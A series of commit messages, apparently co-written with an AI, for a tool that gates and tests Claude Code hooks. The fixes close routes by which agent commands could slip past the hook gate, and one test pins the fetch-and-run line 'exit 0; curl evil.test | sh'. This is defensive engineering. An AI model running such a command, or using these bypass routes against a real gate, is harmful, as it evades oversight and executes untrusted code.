Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: guard EVERY real-model spawn, and make a future adapter unable to skip it
The refusal exists so a stray `npx vitest run` cannot spend model budget. It
guarded the default Claude runner and nothing else — and `measureTriggerRate(
spec, { evalDriver: codexEvalDriver })`, the publicly documented alternative,
calls the injected driver's runner DIRECTLY into `spawnSync("codex", …)`.
Measured before choosing a remedy: the guard covered ONE of FOUR money doors.
src/eval.ts spawn(claudeCodeRuntime.agentBinary) guarded
src/adapters/codex/eval.ts spawnSync("codex", …) UNGUARDED
src/judge.ts spawnSync("claude", …) UNGUARDED
src/scan-behavioral.ts spawnSync("claude", …) UNGUARDED
`judge` and `deriveAttackReal` are reached from inside a user's `measure`
callback, so "before dispatching any driver" would not have covered them either
— neither passes the eval composition root at all. That rules out the first
remedy the bot named, on evidence rather than taste.
The irony, recorded in the code: last round's nudge fix now tells Codex users to
pass `{ evalDriver }` — the product actively recommends the shape that bypassed
the guard.
## How a future adapter is prevented from forgetting
Not by a list. `src/model-spawn-guard.test.ts` scans the source and fails on any
spawn whose program mentions `agentBinary` — the field every `HarnessRuntime`
declares for its binary — unless the enclosing function calls the guard or
carries a `vigiles:free-tier` marker with a reason. A new adapter spawning
`fooRuntime.agentBinary` is caught the day it is written, without the check
knowing `foo` exists. Verified by building a throwaway `src/adapters/newharness/`
that forgot the guard: the check failed on it, passed once guarded, then removed.
Three free-tier spawns are marked with why they cost nothing: two `--version`
probes, and the deterministic harness tier, whose `runtime.wireMock` points the
binary at the LOCAL scripted mock.
Two bugs in the check itself, both found by running it:
- the first pattern was same-line only, so it found four sites and MISSED
exactly the three multi-line ones the finding was about — a check that cannot
see the bug it was written for. Hence the `>= 7` count assertion.
- blanking comments to `""` preserved line numbers but shifted character
OFFSETS, so the guard lookup read the wrong place and reported all seven
unguarded. Comments are now blanked to spaces of equal length.
## Placement
`refuseUnderForeignRunner` moved to `core/foreign-runner.ts`, which imports
NOTHING, so any adapter can call it without a cycle. `foreignRunner` stays pure;
this is the one impure wrapper.
⚠️ It must sit OUTSIDE the swallowing `try` in `judge` and `deriveAttackReal` —
both do `try { spawn } catch { return fallback }`, so a refusal thrown inside
becomes a silent `score: 0` instead of a stop. Pinned by mutation.
## Tests, through a REAL foreign runner
`src/eval-injected-driver-guard.test.ts` drives an actual `node --test` child,
because this suite runs under vitest and a test asserting "vitest is refused"
agrees with whatever the guard already believes. FIRES: the Codex driver's runner
and `judge` both refuse. QUIET: outside a foreign runner the same calls get PAST
the guard (and fail on the missing binary), so a fix that always threw would fail
here. The child runs with an EMPTY `PATH`, so a regression fails the test instead
of billing for it.
Mutations, each caught: remove the Codex guard; remove the judge guard; move the
judge guard inside its swallowing `try`.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(baseline); vitest 2777 passed with only the known environmental harness-test
failure; coverage 100% statements/functions/lines, branches 94.16%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): the in-process tier attributes what it EVALUATES
The gap I named two rounds ago and deferred; the reviewer found it independently.
`loadHook(file)` + `assertHookDenies(hook, event)` — the documented cheapest path
— recorded a check and no SURFACE, so the child exited a non-vacuous pass with an
empty `surfaces` list, `runsFromResults` discarded it, and a harness that really
did execute a compiled hook produced NO execution record. The hook then showed as
untested unless filename colocation happened to cover it.
🔴 A FALSE NEGATIVE, so the risk while fixing runs opposite to every other
coverage finding here. Those were false GRANTS and the cure was "abstain when
unsure"; this one is real execution going unrecorded, and the danger is recording
too eagerly. The line is EVALUATION, and it is pinned in both directions.
Where the probe is, and the three places it is not:
- `loadHook` only REMEMBERS the path (a WeakMap in core/hook-program.ts — the
object is the user's, so no field is stamped on it). Loading a hook to
inspect its shape has not run it; crediting that would be the empty-file-
counts substitution the execution tier exists to remove.
- `runHookProgram` — the PURE evaluator, and what the CLI's `hook-runtime
run-program` calls on every live event in production. Recording there would
make the pure decision impure and fire outside any test.
- `runCountedHookProgram` — the one place holding BOTH facts (this hook is
about to be evaluated; it came from a file). All four public in-process
assertions funnel through it, so none can be added without inheriting the
attribution.
This is the one attribution in the codebase that needs no parsing: the path is
the argument `loadHook` resolved. The comment says so explicitly — the parsed
source (`commandRefs`) is best-effort over an unbounded grammar and has been
wrong in five rounds; this one is exact by construction. Same record SHAPE, not
the same trustworthiness.
⚠️ What it deliberately does not attribute, run rather than asserted:
defineHook({…}) then assertHookDenies(h, e) → surfacesRecorded() === []
runHookProgram(loadedHook, e) → surfacesRecorded() === []
Both cost a missed record, never a false one.
## Does it move this repo's numbers? No — and here is why, measured.
before: untested 23, executed 0, colocated 0
after: untested 23, executed 0, colocated 0
Not because nothing changed: this repo's canonical
`examples/harness/compiled-hook-inprocess.harness.mjs` now emits two probes where
it emitted zero —
{ how: "command", ref: "examples/harness/protect-main.hook.mjs" }
{ how: "command", ref: "examples/harness/warn-on-failure.hook.mjs" }
— and both resolve to NOTHING, because those files are not wired into
`.claude/settings.json` and so are not declared surfaces of this repo. An
unresolvable ref is dropped, never guessed into a match, so no artifact is
written and the counts hold. That is the tier's first rule working, not a
failure.
Tests, both halves, unit AND end-to-end through the real CLI: a harness that
evaluates a wired compiled hook records it; one that only loads it records
nothing (while something else runs, so the silence is about the LOAD and not
about a vacuous script).
Mutations, each failing on its own assertion: never record the probe → "an
in-process evaluation is an execution and must be recorded"; record at LOAD time
instead → "a LOAD must attribute nothing".
Gates: build, api:check (no drift — the two new helpers are internal to
core/hook-program.ts and `hook.ts` re-exports by name), prettier clean; lint 0
errors / 201 warnings (baseline); vitest 2782 passed with only the known
environmental harness-test failure; coverage 100% statements/functions/lines,
branches 94.17%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(hook-program): delete the git escape — all three ran `.git/hooks/*`
The surface I flagged last round as never independently audited. My own claim
was the load-bearing one and it was false: "these commands move the tree to
states git already holds; none executes a line of repo code."
MEASURED, git 2.43.0, hooks installed in `.git/hooks/`:
git checkout -- f.txt → post-checkout (<sha> <sha> 0)
git merge --abort → reference-transaction (prepared, committed)
git rebase --abort → reference-transaction (×4) + post-checkout
`reference-transaction` fires on ANY ref update, and every one of these updates a
ref — so the whole whitelist was an arbitrary-execution path standing open
precisely while the gate enforced nothing, writable by exactly the actor the door
assumes. Same shape as the compile escape one layer down: a command believed
inert because of what it MEANS rather than what it DOES.
(My first neutralisation measurement was contaminated — the log captured the
SETUP command's hooks, not the guarded one. Re-run with the log cleared
immediately before each guarded command; the corrected numbers are above.)
## The two remedies, both measured
1. `git -c core.hooksPath=/nonexistent …` DOES suppress all three (no hook ran
for any of them). Rejected anyway: it puts free-form structure back into the
accepted string — the exact thing five findings on the compile door came from
— and it buys nothing, because of (2).
2. A FILE WRITE already un-wedges the repo. Measured on the load-wedge fixture:
wedged : `ls` refused
after Edit : `ls` allowed, `git push --force` DENIED ("no force-push")
You do not need to finish recovering, only to stop being wedged. Once the hook
loads the gate decides normally, and `git merge --abort` is an ordinary
allowed command — through the gate rather than around it.
So the git escape goes the way of the compile escape. `isRecoveryEvent`,
`isGitRecoveryLeaf` and `allLeavesAre` are deleted; NO command is an escape now.
## What replaces it
`isLoadPathRepairEvent` — a write to the hook's own source, its stamp sidecar, or
one of `HARNESS_CONFIG_FILES` (`package.json`, `.vigilesrc.json`). That set is
COMPLETE for a compiled hook rather than a guess: `checkHookImports` rejects every
import but `vigiles/hook`, so the load path is the hook file plus the config that
resolves that specifier — nothing else can break it. A write executes nothing,
which is the property no command on this door ever had.
The refusal now names the files to fix, says a write is the way out, and says why
no command is allowed (`.git/hooks` for git, the failed resolver for compile).
`docs/compiled-hooks.md` rewritten to match.
## Tests
Both halves, with a REAL installed git hook rather than the git docs: a new test
builds a repo, installs `post-checkout`/`reference-transaction`, and watches them
fire — so the premise is checked, not remembered. Through the real runtime: every
command refused (including the `core.hooksPath` spelling), the load-path write
allowed, and the write shown to restore ENFORCEMENT.
Mutations, each on its own assertion: restore the git escape → the refusal tests
fail; drop the config-file half → the wedge has no way out.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(baseline); vitest 2782 passed with only the known environmental harness-test
failure; coverage 100% statements/functions/lines, branches 94.17%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(hook-repair): bind repair writes to THIS repo; stop crediting a shell that never launched
Two findings, the same shape one layer apart: a property asserted about the
ACTION while the SCOPE of that action went unchecked.
## 1 (P1) — a repair write was accepted in any checkout on the disk
`samePathRef` matched by SUFFIX, so `/home/another-project/package.json` counted
as a repair of this repo's `package.json`. My defence last round — a write
executes nothing — was true and answered a different objection. It does not
license writing into a checkout the wedged session has nothing to do with, and
that file cannot repair the failure anyway.
Both sides are now RESOLVED against a root and compared whole (`resolveRef`,
still no `node:path` in core). The tolerance the suffix match was reached for
survives untouched: the harness sends an absolute `file_path` while settings
carry a relative one, and resolution is the correct way to match those.
The identical hole existed on the STAMP door (`isStampRepairEvent`) and is
closed with it — unreported, same helper.
### The hook's own path does NOT give a reliable root, so the caller passes it
Asked, and the answer is no. A hook sits at `.claude/hooks/`, `.vigiles/hooks/`,
a plugin subdirectory or the repo root; there is no fixed depth to walk up, and
a `.git` probe would be a disk read core does not do. Nor would a git-derived
root be RIGHT: `verifyStampOrRefuse` reads the hook and its stamp sidecar
through `process.cwd()`, so any other root would accept writes to files the
runtime never reads — repairs that do not repair. The root is `process.cwd()`,
supplied by cli.ts, and the accepted files are the ones the runtime itself
derived (`hookLoadPathFiles`). Required parameters, so the loose form is
inexpressible.
### …and the obvious narrowing would have RE-WEDGED the repo
"Refuse anything outside cwd" is wrong. MEASURED against this runtime, hook at
`gp/p/repo/.claude/hooks/`, conflict markers planted at one ancestor:
repo pkg PRESENT, parent conflicted → loads fine
repo pkg absent , parent conflicted → WEDGES, cause `../package.json`
repo pkg absent , parent absent, gp broken → WEDGES, cause `../../package.json`
repo pkg PRESENT, parent absent, gp broken → loads fine
repo pkg absent , parent HEALTHY, gp broken → loads fine
Node walks up and stops at the first `package.json` that EXISTS. An ancestor
above the repo root can wedge the load, and the runtime names it as the cause
while refusing the write that fixes it — this branch's own defect, reintroduced
by a security fix. So the accepted set is that chain, and `hookLoadPathFiles`
now stops walking at the first existing `package.json` too: `/home/package.json`
and `/package.json` are no longer accepted from any wedged repo on the machine,
because Node never opens them.
## 2 (P2) — an unconditional probe credited a hook that only `/bin/sh` ran
`spawnSync(cmd, { shell: true })` does not throw when the shell cannot start the
program, so a harness asserting that failure passed and the probe attributed a
surface anyway.
The numbers are MEASURED here, not taken from the report — `/bin/sh` is dash:
126 | direct non-executable | ./noexec.sh | out=""
127 | direct missing | ./missing.sh | out=""
127 | bare unknown command | nosuchcmd-xyz | out=""
127 | bad shebang (exists, +x) | ./badshebang.sh | out=""
126 | is a directory | ./ | out=""
3 | real hook, exit 3 | ./exit3.sh | out="ran"
Only 126/127 suppress the probe; 0/1/2/3/125/128/255 and a signal death all
still attribute, because a hook that runs and exits non-zero HAS executed.
Deliberately missed, all toward SILENCE, all measured:
2 | sh ./missing.sh | out="" ← dash's code, = Claude Code BLOCK
0 | sh ./noexec.sh | out="ran" ← the interpreter READS it; it ran
0 | bash ./noexec.sh | out="ran" ← same
127 | ./ok.sh && ./missing.sh | out="ran" ← a leaf ran, the line reports 127
`sh <missing>` cannot be encoded: exit 2 is indistinguishable from a gate
legitimately denying. It is also near-moot — a path that does not exist was
never discovered as a surface, and `resolveProbe` matches only discovered ones.
### Two fixtures were credited by this bug and are now real
`run-scripts.test.ts` ran `bash hooks/guard.sh` with no such file, and
`check-count.test.ts` pointed `$GUARD` at `/repo/hooks/guard.sh`, a path that
exists nowhere. Both asserted attribution over a hook that never launched. They
now create real executables and assert the exit code.
## Verification
Mutation-checked across the whole relevant test set, six mutations, each failing
on its OWN assertion: suffix match restored on the load-path door · on the stamp
door · launch check removed · launch check widened to "any non-zero" · repairs
clamped to inside the root · the package.json walk left unbounded.
Gates: build, `npx vitest run` (2787 passed; only the environmental
`a blocking Stop hook forces the agent to keep working`), `npm run api:check`
(no drift), `npm run lint` (0 errors / 201 warnings), prettier, coverage
100/100/100 lines-statements-functions, branches 94.19%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(nudge): the eval-tier question is per SURFACE — an agent is not a skill
Fourth instance of "the remedy does not apply to the thing it is aimed at", and
the first one where the aim was a whole surface kind rather than a flag.
`skillTestNudge` disables only hooks, so an AGENT reaches the never-evaluated
branch exactly as a skill does — and was handed the skill's sentence: that its
description must "FIRE", remedied by `measureTriggerRate`. Both halves are wrong
for an agent, and the second is not merely unhelpful.
## 1. What the repo's own guidance actually says (asked before writing)
The finding says `runEval`. `docs/rules/untested-subagent.md` said something
weaker and ambiguous: "a `runHarnessTest`/eval that asserts the agent stayed
within its allowed tools (`notTool`) or a `subagent(...)` nested-trace check."
That names the DETERMINISTIC tier first and lumps "eval" in behind a slash — and
this branch fires precisely when deterministic coverage ALREADY EXISTS, so as
eval-tier advice it is useless. The guidance was not wrong so much as unable to
answer the question the nudge asks, which is how the nudge came to borrow the
skill's answer. Fixed in the same commit: the doc now splits the tiers (same
assertions, different model) and states the limits below.
## 2. `measureTriggerRate` cannot address an agent — measured, no model spent
```
packageSkillsDir("<repo>/agents") → THREW: No <name>/SKILL.md skills
found under <repo>/agents
measureTriggerRateWith({ pluginDir: <an → rate = 0 | competitors = 0
agents-only plugin> }, fakeRunner)
```
It installs `<name>/SKILL.md` skills and decides "fired" by skill SELECTION
(`skillResolved`). The loose-skills form throws; the plugin form returns a NUMBER
for a surface it never installed — the same "worse than an error" the sibling
driver note one branch up already exists for.
"Does Claude pick this subagent when it should?" is a real question; vigiles has
no API for it. The nudge says so rather than implying one.
## 3. …and the obvious rewrite would have been instance FIVE
`runEval` / `measure` / `measureArms` all hard-wire `spawnAgent`, and
`runEvalWith` is not exported from `vigiles/testing` — `measureTriggerRate` is
the ONLY public call with an `{ evalDriver }` seam. Writing
`runEval(spec, { evalDriver })` by symmetry with the skill arm would have
suggested an argument the function does not take. The agent arm states the limit
instead: those calls drive Claude Code, so on another harness this tier has no
public dispatch yet. (Codex has no subagent dir at all — `agentDir: ""` — so in
practice this concerns OpenCode, which has agents and no eval driver.)
## 4. `kind` or a capability? Both — the capability is a total function of kind
The real predicate is "can the trigger tier install and observe this surface?",
and today that is decided by the tier's installer being `<name>/SKILL.md`-shaped.
So it is stated once per kind in `evalTierQuestion`, not inferred at the call
site, and the switch is exhaustive with `assertNever`.
What happens to a fourth kind tomorrow — measured, not asserted. Adding
`| "command"` to `SurfaceKind`:
src/test-coverage.ts(882,26): error TS2345: Argument of type '"command"' is
not assignable to parameter of type 'never'.
It does not silently inherit the skill's sentence; it fails to compile at the one
place that has to change. `hook` returns null on purpose: a hook is deterministic
by construction (`runHook` answers it free at the unit tier), and the arm exists
so a caller that DOES ask gets silence rather than the skill's text.
## Verification
Four mutations, run across the whole relevant test set
(`test-coverage` + `cli-nudge-config` + `cli-harness-resolution`), each failing
on its own assertion: collapse every kind back to the skill sentence · drop the
no-public-dispatch clause · let the hook arm fall through to the skill sentence ·
add a fourth `SurfaceKind` (compile-time).
Gates: build · full suite with coverage 2791 passed, 0 failed (the environmental
Stop-hook test skipped per the coverage protocol) · coverage 100/100/100
lines-statements-functions, branches 94.19% · `api:check` no drift
(`test-coverage.ts` is not on a public entry) · lint 0 errors / 201 warnings ·
prettier.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): a name is not an identity, and a list stops at `exit`
Two false grants, and the first is the third appearance of one idea.
## 1 (P2) — the bottom rung of `resolveProbe` matched by bare NAME
Executing `/tmp/guard.sh` in a passing harness credited the repo's sole
`hooks/guard.sh`. The rung threw the ref's directories away, which is the same
substitution this PR has already removed twice: the coverage metric's "mention"
tier (deleted — 9 of 10 covered surfaces, ≥3 falsely) and the foreign-runner
gate's identifier search (replaced by a call site).
### Measured first, because the question was whether it should exist at all
`vigiles test` over all 13 example harnesses, instrumented per rung:
basename → miss examples/harness/protect-main.hook.mjs
basename → miss examples/harness/warn-on-failure.hook.mjs
basename → miss /workspace/…/test/dogfood/oh-my-claudecode@deee3a4/scripts/run.cjs
exact : 0 calls
suffix : 0 calls
A second real corpus (a 43-harness consumer repo) produced ZERO command probes.
So no rung has granted coverage on any corpus available here, and the bottom rung
CANNOT be justified by what it has resolved. The third line is the live near-miss
that settles the direction: a VENDORED third-party script reached the loose rung
and would have credited a hook of this repo named `run.cjs`, had one existed.
### Why it is narrowed rather than deleted
The two earlier deletions removed matches on a PROJECTION of the evidence — a
name pulled out of a file, an identifier pulled out of a module — discarding what
the rest of it said. The replacement discards nothing: the ref must be a TAIL of
the surface path, so every segment it carries has to lie on that path, and a ref
carrying none contradicts none. `/tmp/guard.sh` resolves to nothing because no
repo-relative surface path can end in `//tmp/guard.sh`.
The new rung is a strict SUBSET of the old (tail alignment implies equal
basenames), so it can only remove grants. It keeps the one shape the corpus
cannot show but this repo's own advice produces: a harness run with `{ cwd }`
inside the repo names `guard.sh`.
## 2 (P2) — statements after an unconditional terminator
`exit 0; bash hooks/pre.sh` credited a hook the shell exits before launching. The
descent knew which children always execute; it did not know where a list stops.
MEASURED, bash 5.2 and dash, with a filesystem marker — the first attempt read
`exec > /dev/null` as "did not run", which was the redirect swallowing the echo:
exit 0; ./x.sh bash x NOT run dash x NOT run
return 0; ./x.sh bash x RAN dash x NOT run ← disagree
exec ./x.sh; echo AFTER AFTER not run AFTER not run
exec > /dev/null; ./x.sh bash x RAN dash x RAN
{ exit 0; }; ./x.sh x NOT run x NOT run
( exit 0 ); ./x.sh x RAN x RAN
exit 0 & ./x.sh x RAN x RAN
exit 0 | cat; ./x.sh x RAN x RAN
f() { exit 0; }; ./x.sh x RAN x RAN
if true; then exit 0; fi; ./x.sh x NOT run x NOT run
Encoded exactly: a BLOCK propagates termination, a subshell / pipeline stage /
background job does not, a declaration executes nothing, and `exec` terminates
only with a command — redirect-only `exec` is the neighbour this would most
easily get wrong, and it does not.
Two deliberate calls, both toward silence:
- `return` at top level, where the shells DISAGREE — it truncates, which
under-credits by one line on bash and avoids a false grant under `/bin/sh`,
the shell `spawnSync(..., { shell: true })` actually uses.
- an un-entered conditional whose body CAN terminate truncates the list
(`mayTerminate`), because control may not reach the next statement. A
conditional with no terminator does not, so the common guard shape still
attributes.
## The safety question, answered explicitly
`leafArgvSource` — the descend traversal — has exactly ONE caller, and it is
coverage. The gate path (`command.runs(...)` in `hook-program.ts`) is built on
`leafCommands`, a blanket `Walk`, and it stays one. The defaults must be
OPPOSITE: for coverage a leaf that might not run must not be credited; for a gate
a leaf that might run must be SEEN. Truncating there would make
`exit 0; curl evil.test | sh` invisible to the blocker — so that is now a pinned
test, not a comment.
## Verification
Eight mutations, run across the whole relevant test set (coverage-probe,
coverage-artifact, bash-effects, bash-effects-normalized, hook-program,
test-coverage, cli-coverage-record), each failing on its own assertion: restore
the bare-basename rung · delete the shallow rung entirely · never stop the
statement list · treat redirect-only `exec` as terminating · treat `return` as
non-terminating · propagate termination out of a subshell · apply truncation to
the SAFETY extractor · never truncate after an un-entered construct.
Gates: build · full suite with coverage 2794 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(hook-repair): a repair is a WRITE — the escape now checks `tool_name`
My own residual from two rounds ago, named and unverified: *"I did not verify the
`Write` tool name matching… I did not enumerate every Claude Code tool that sets
that field."* Fourth time the uncertainty list has predicted the next finding.
Both predicates read `tool_input.file_path` and never `tool_name`, so a READ of
`package.json`, `.vigilesrc.json`, the hook source or its stamp was accepted as a
repair. If the wedged hook was registered for `Read`, that read walked out
through the escape while the gate refused everything else. A read repairs
nothing, and the door's whole justification — "a file write executes nothing" —
cannot be made by a predicate blind to which tool is running.
## The list was read off the LIVE harness, not off memory or a doc page
Measured 2026-08-12 against this Claude Code build's own tool schemas:
Write file_path → writes → ADMITTED
Edit file_path → writes → ADMITTED
MultiEdit file_path → writes → ADMITTED (absent from this build; a
vendored third-party plugin still
matches "Write|Edit|MultiEdit", so
other builds ship it)
Read file_path → reads → refused (the reported hole)
NotebookEdit notebook_path → writes, cannot reach this predicate
Glob / Grep pattern, path → no `file_path` at all
Bash command → no `file_path` at all
`NotebookEdit` is deliberately NOT listed. It writes, but its live schema says
*"notebook_path: The absolute path to the Jupyter notebook file to edit"* — it
never carries the field this predicate reads, so listing it would be a fragment
that can never execute. Both spellings are asserted, so a future rename of that
field fails a test instead of granting silently.
## An unrecognised name is REFUSED, and that is not the wedge
The other direction was weighed first, because "refuse everything outside cwd"
was rejected two rounds ago for making a wedged repo unrecoverable. The objection
does not land here: this list does not have to be COMPLETE, only NON-EMPTY at
runtime. A new writing tool appearing wedges nothing — the author still repairs
with `Write`. Only the simultaneous disappearance of `Write`, `Edit` and
`MultiEdit` could strand a repo.
Admitting unknown names was the alternative and it forfeits the sentence this
door rests on: with an unrecognised tool we cannot say the call executes nothing.
## The stamp door had the SAME hole, checked rather than assumed
It did — exactly as the suffix-match pair did last round. Both now go through one
`repairTargetOf` helper, so they cannot drift apart again; mutating the tool check
out of the stamp door alone fails both the unit and the real-runtime test.
The refusal message and `docs/compiled-hooks.md` now name the admitted tools, so
an author whose `Read` bounced is not left guessing why the documented escape did
nothing.
## Verification
Five mutations, run across the relevant test set (hook-program, hook-load-wedge),
each failing on its own assertion: ignore `tool_name` entirely (the reported
defect) · hard-code `Write` only · admit unknown names (fail open) · leave the
stamp door blind · add `NotebookEdit` to the list.
Gates: build · full suite with coverage 2796 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): a fired HOOK label is not a skill — resolve within the kind
Same "a name is not an identity" family as the last two rounds, one boundary
further out: the within-kind form was closed at the command rung (tail alignment,
not bare basename); this is the CROSS-kind form, where the probe knew its origin
and the lookup threw it away.
`traceRefs` recorded Claude Code's hook label as a `fired` probe; `resolveProbe`
stripped the prefix and searched EVERY surface kind. A uniquely named skill or
agent therefore got fresh execution coverage because a hook fired.
## 1. What a `fired` probe can come from, read rather than inferred
Two producers, and only two — `probeTrace` is the sole caller of `traceRefs`, and
`recordSurfaceProbe` has exactly three call sites:
Skill tool call → `call.input.skill` → `plugin:name` → names a SKILL
hook fire → `HookFire.name` → `Event:Matcher` → names NO file
`HookFire.name` comes from one place: `parseHooks` reading Claude Code's
`hook_response` stream event. Codex and OpenCode return `hooks: []`, so there is
no third shape today.
MEASURED 2026-08-12 — the ENTIRE `fired` population of `vigiles test` on this repo
AND on a 43-harness consumer repo, no model spent. All fourteen are hook labels;
not one is a skill activation:
8× SessionStart:startup → strips to `startup`
2× PostToolUse:Write → strips to `Write`
2× PreToolUse:Write → strips to `Write`
2× UserPromptSubmit → no colon, so the WHOLE label is the name
The old comment claimed such a label "resolves to no surface and is dropped by
the runner — recording it costs nothing." The first half is right; the second was
never checked and is false.
## 2. Why it is not fixed by resolving hook labels within hooks
A label is an EVENT plus a tool-name pattern; a hook surface is a FILE. A repo
with `hooks/Stop.sh` and `hooks/cleanup.sh` both registered for `Stop` has the
`Stop` label match exactly one of them, and nothing says it is the one that ran.
So the label is dropped entirely. The one thing this stream could carry that WOULD
be evidence is a script path, and no harness reports one; if one ever does, it
belongs on the `command` origin, which already resolves paths within hooks.
`ProbeableTrace.hooks` stays on the shape, unread, on purpose: it is what lets the
negative be TESTED. Deleting it would delete the lock.
## 3. Does the command rung have the same leak? No — checked, not assumed
`resolveProbe`'s command branch filters `s.kind === "hook"` before any matching,
and an existing test pins it ("a command ref NEVER resolves to a non-hook
surface"). Verified by reading the branch, not by inference.
## 4. Do our own numbers move? No — and that is a checked nil
All four distinct labels resolved against both real surface sets:
vigiles (23 surfaces: 18 skills, 0 agents, 5 hooks) → [] for all four
mine (38 surfaces: 38 skills, 0 agents, 0 hooks) → [] for all four
Neither repo owns a surface by those names, so nothing was miscredited and
`Tested`/`Evaluated` are unchanged. The exposure is live rather than theoretical
— add ONE skill named `startup`, a name nobody would think twice about, and the
counterfactual against the real corpus is:
SessionStart:startup → ["skill skills/startup/SKILL.md"]
eight times per `vigiles test`.
## Verification
Three mutations across the relevant set (coverage-probe, coverage-artifact,
test-coverage, cli-coverage-record, harness-test), each failing on its own
assertion: record hook labels again · let the resolver search every kind again ·
widen `fired` to skills AND agents.
Gates: build · full suite with coverage 2797 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(foreign-runner): a name this file BINDS is not our API — and the gate now abstains
Sixth finding from this one file, which is data about the design rather than
about six bugs. Both are addressed: the reported false positive, and the question
of whether the gate's default is the right way round.
## The fix
`const runEval = vi.fn(); runEval();` was read as a real-model invocation and its
author told to rename a working unit test. A declaration is the dual of the
import rule that round 14 measured as unworkable here — and unlike that rule it
needs no module graph, because the binding is right there in the text.
`locallyBound` suppresses on a `const`/`let`/`var`/`function`/`function*`/`class`
declaration, a destructuring or array pattern, an `as NAME` alias, or a default
import. It is deliberately GENEROUS — every error it makes is toward silence, so
`export { x as runEval }` is matched even though a re-export is not a binding.
A plain `import { runEval } from "vigiles/testing"` is not matched: that binds OUR
name to OUR export, which is the case the gate exists for.
## …and one more class, removed on a measurement
A DOTTED name is somebody's property. The allowance existed for
`import * as v from "vigiles/testing"; v.runEval()` — that shape occurs in exactly
two places across every corpus available, and both are this gate's own comment and
its own test. Meanwhile `mock.runEval()` / `deps.runEval()` / `this.runEval()` are
ordinary. Dropping it costs a genuine namespace user ONE warning; the money guard
still refuses the spawn.
## Does the gate earn its keep? KEEP, TUNED TO ABSTAIN
Measured over three real corpora — this repo, a 43-harness consumer repo, five
vendored third-party plugin repos, 3 613 js/ts files:
findings 0
files under a surface dir AND collected by a default glob 2
…of those, with agent evidence 0
The two near-misses are this repo's `code-reviewer.md.spec.ts` and the consumer
repo's `.claude/skills/verify-citations/scripts/verify-cites.test.mjs` — the exact
file `untested-skill.md` already cites as "a good test of a bundled script, not a
test of a skill". The EVIDENCE rule is the only thing between its author and
"rename it". That is the gate's one demonstrated effect on a real repository, and
it is an effect of NOT firing.
The asymmetry the old tuning ignored: a missed warning costs one accidental paid
run — except `refuseUnderForeignRunner` already refuses at all four spawn doors,
so it costs only an earlier, friendlier notice. A false warning costs someone a
working test. Every finding this file has produced has been the second kind.
Residual false-positive surface, probed rather than estimated — three shapes still
fire, and it reduces to "the file calls a bare name it did not declare":
import { runEval } from "./my-own-helper.js"; runEval({}) → fires
function f(runEval) { runEval({}) } → fires (parameter)
export function t() { runEval({}) } → fires (also the
TRUE-positive shape)
🔴 The falsifiable part, recorded in the file: a SEVENTH false positive is not
another bug to fix — it is the measurement saying a lexical rule cannot be made
tight enough, and the answer then is to DELETE the gate and let the money guard be
the whole defence. Fix the next finding by narrowing or by deleting; adding a
shape rule that widens has been wrong six times.
## Verification
Three mutations across the relevant set (foreign-runner-tests, scan, audit-score),
each failing on its own assertion: drop the local-binding suppression (the
reported defect) · suppress on ANY mention (17 failures — the quiet halves do
guard against a fix that silences the gate) · restore the leading-dot allowance.
Gates: build · full suite with coverage 2798 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): the owner is a position, the namespace is identity, and a dispatch is evidence
Three findings — two false grants and one false negative.
## 1 (P2) — `vigiles` accepted as a data operand
`echo vigiles hook-runtime run-program hooks/pre.sh` recorded execution coverage
for a hook `echo` merely PRINTED. The free-floating VERB was fixed one round ago;
the OWNER had the same hole one token over.
The owner must now sit where a program actually runs: `argv[0]`, or `argv[1]`
under a launcher. The `owner === entry` arm needs no position check — `entry` is
by construction the program the leaf runs, so the equality IS the position.
⚠️ THIS IS A LAUNCHER TABLE, and one was deleted from this repo on purpose
(`RUNNER_PREFIXES`, when the hook-recovery escape went). It is safe here and was a
liability there because the two decide different things. There it decided whether
to EXECUTE an attacker-chosen string, so a wrong entry granted arbitrary
execution. Here it decides whether to CREDIT a coverage line for a command the
harness author wrote about their own hook: a missing entry costs one line, and
there is no adversary, because the only thing to win is over-crediting yourself.
It is also ONE token, chosen by measurement. Every spelling across docs,
examples, README, src and two repos' `.claude/` dirs:
13× npx vigiles hook-runtime … → launcher, index 1
11× vigiles hook-runtime … → head, index 0
10× "$CLAUDE_PROJECT_DIR/…/vigiles/dist/cli.js" … → the `entry` arm
9× node /abs/dist/cli.js hook-runtime … → the `entry` arm
1× ./node_modules/.bin/vigiles hook-runtime … → head, index 0
